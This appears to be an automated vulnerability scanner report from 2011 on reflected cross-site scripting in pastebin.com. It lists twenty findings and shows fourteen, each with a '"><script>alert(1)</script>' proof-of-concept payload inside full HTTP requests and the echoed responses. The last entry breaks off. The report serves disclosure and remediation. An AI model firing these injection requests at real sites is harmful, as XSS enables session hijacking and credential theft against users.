XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, pastebin.com

Report generated by XSS.CX at Tue Aug 09 17:06:30 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

1.1. http://pastebin.com/VB5KDqxW [REST URL parameter 1]

1.2. http://pastebin.com/VB5KDqxW [name of an arbitrarily supplied request parameter]

1.3. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 1]

1.4. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 2]

1.5. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 3]

1.6. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 4]

1.7. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 1]

1.8. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 2]

1.9. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 3]

1.10. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 4]

1.11. http://pastebin.com/etc/social/index.html [REST URL parameter 1]

1.12. http://pastebin.com/etc/social/index.html [REST URL parameter 2]

1.13. http://pastebin.com/etc/social/index.html [REST URL parameter 3]

1.14. http://pastebin.com/favicon.ico [REST URL parameter 1]

1.15. http://pastebin.com/i/fixed.css [REST URL parameter 1]

1.16. http://pastebin.com/i/fixed.css [REST URL parameter 2]

1.17. http://pastebin.com/i/style.css [REST URL parameter 1]

1.18. http://pastebin.com/i/style.css [REST URL parameter 2]

1.19. http://pastebin.com/js/ZeroClipboard.swf [REST URL parameter 1]

1.20. http://pastebin.com/js/ZeroClipboard.swf [REST URL parameter 2]

2. Cross-domain script include

2.1. http://pastebin.com/VB5KDqxW

2.2. http://pastebin.com/etc/ads/iframes/160x600.html

2.3. http://pastebin.com/etc/ads/iframes/728x90.html

2.4. http://pastebin.com/etc/social/index.html

3. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 20 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://pastebin.com/VB5KDqxW [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /VB5KDqxW

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91a79"><script>alert(1)</script>5be1c662389 was submitted in the REST URL parameter 1. This input was echoed as 91a79\"><script>alert(1)</script>5be1c662389 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /VB5KDqxW91a79"><script>alert(1)</script>5be1c662389 HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:55 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:55 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10370

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/VB5KDqxW91a79\"><script>alert(1)</script>5be1c662389"/>
...[SNIP]...

1.2. http://pastebin.com/VB5KDqxW [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /VB5KDqxW

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4557c"><script>alert(1)</script>764397d44a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4557c\"><script>alert(1)</script>764397d44a4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /VB5KDqxW?4557c"><script>alert(1)</script>764397d44a4=1 HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:46 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:46 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/VB5KDqxW?4557c\"><script>alert(1)</script>764397d44a4=1"/>
...[SNIP]...

1.3. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/160x600.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8937"><script>alert(1)</script>8722f10adbc was submitted in the REST URL parameter 1. This input was echoed as c8937\"><script>alert(1)</script>8722f10adbc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etcc8937"><script>alert(1)</script>8722f10adbc/ads/iframes/160x600.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:58 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:58 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10430

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etcc8937\"><script>alert(1)</script>8722f10adbc/ads/iframes/160x600.html"/>
...[SNIP]...

1.4. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/160x600.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f67e"><script>alert(1)</script>c0a6db7bca8 was submitted in the REST URL parameter 2. This input was echoed as 2f67e\"><script>alert(1)</script>c0a6db7bca8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/ads2f67e"><script>alert(1)</script>c0a6db7bca8/iframes/160x600.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:01 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:01 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/ads2f67e\"><script>alert(1)</script>c0a6db7bca8/iframes/160x600.html"/>
...[SNIP]...

1.5. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/160x600.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ed26"><script>alert(1)</script>ac5e7a1b47d was submitted in the REST URL parameter 3. This input was echoed as 2ed26\"><script>alert(1)</script>ac5e7a1b47d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/ads/iframes2ed26"><script>alert(1)</script>ac5e7a1b47d/160x600.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:04 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:04 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10438

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/ads/iframes2ed26\"><script>alert(1)</script>ac5e7a1b47d/160x600.html"/>
...[SNIP]...

1.6. http://pastebin.com/etc/ads/iframes/160x600.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/160x600.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a0cf"><script>alert(1)</script>608cdace5df was submitted in the REST URL parameter 4. This input was echoed as 9a0cf\"><script>alert(1)</script>608cdace5df in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/ads/iframes/160x600.html9a0cf"><script>alert(1)</script>608cdace5df HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:07 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:07 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10439

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/ads/iframes/160x600.html9a0cf\"><script>alert(1)</script>608cdace5df"/>
...[SNIP]...

1.7. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/728x90.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca982"><script>alert(1)</script>c79ddf7ea36 was submitted in the REST URL parameter 1. This input was echoed as ca982\"><script>alert(1)</script>c79ddf7ea36 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etcca982"><script>alert(1)</script>c79ddf7ea36/ads/iframes/728x90.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:59 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:59 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10428

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etcca982\"><script>alert(1)</script>c79ddf7ea36/ads/iframes/728x90.html"/>
...[SNIP]...

1.8. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/728x90.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d5f2"><script>alert(1)</script>dea948e6966 was submitted in the REST URL parameter 2. This input was echoed as 8d5f2\"><script>alert(1)</script>dea948e6966 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/ads8d5f2"><script>alert(1)</script>dea948e6966/iframes/728x90.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:02 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:02 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/ads8d5f2\"><script>alert(1)</script>dea948e6966/iframes/728x90.html"/>
...[SNIP]...

1.9. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/728x90.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e19a0"><script>alert(1)</script>3213783bd41 was submitted in the REST URL parameter 3. This input was echoed as e19a0\"><script>alert(1)</script>3213783bd41 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/ads/iframese19a0"><script>alert(1)</script>3213783bd41/728x90.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:05 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:05 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/ads/iframese19a0\"><script>alert(1)</script>3213783bd41/728x90.html"/>
...[SNIP]...

1.10. http://pastebin.com/etc/ads/iframes/728x90.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/728x90.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab588"><script>alert(1)</script>2a4315d70c was submitted in the REST URL parameter 4. This input was echoed as ab588\"><script>alert(1)</script>2a4315d70c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/ads/iframes/728x90.htmlab588"><script>alert(1)</script>2a4315d70c HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:08 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:08 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/ads/iframes/728x90.htmlab588\"><script>alert(1)</script>2a4315d70c"/>
...[SNIP]...

1.11. http://pastebin.com/etc/social/index.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/social/index.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19ba0"><script>alert(1)</script>c8502ace98f was submitted in the REST URL parameter 1. This input was echoed as 19ba0\"><script>alert(1)</script>c8502ace98f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc19ba0"><script>alert(1)</script>c8502ace98f/social/index.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:58 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:58 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10416

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc19ba0\"><script>alert(1)</script>c8502ace98f/social/index.html"/>
...[SNIP]...

1.12. http://pastebin.com/etc/social/index.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/social/index.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5af33"><script>alert(1)</script>0cc5338d969 was submitted in the REST URL parameter 2. This input was echoed as 5af33\"><script>alert(1)</script>0cc5338d969 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/social5af33"><script>alert(1)</script>0cc5338d969/index.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:01 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:01 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10417

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/social5af33\"><script>alert(1)</script>0cc5338d969/index.html"/>
...[SNIP]...

1.13. http://pastebin.com/etc/social/index.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/social/index.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf5b4"><script>alert(1)</script>2bf0dea440e was submitted in the REST URL parameter 3. This input was echoed as bf5b4\"><script>alert(1)</script>2bf0dea440e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /etc/social/index.htmlbf5b4"><script>alert(1)</script>2bf0dea440e HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:04 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:04 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10424

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/etc/social/index.htmlbf5b4\"><script>alert(1)</script>2bf0dea440e"/>
...[SNIP]...

1.14. http://pastebin.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 676f2"><script>alert(1)</script>efc276f2042 was submitted in the REST URL parameter 1. This input was echoed as 676f2\"><script>alert(1)</script>efc276f2042 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico676f2"><script>alert(1)</script>efc276f2042 HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:42 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=3; expires=Tue, 06-Sep-2011 22:16:42 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10394

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
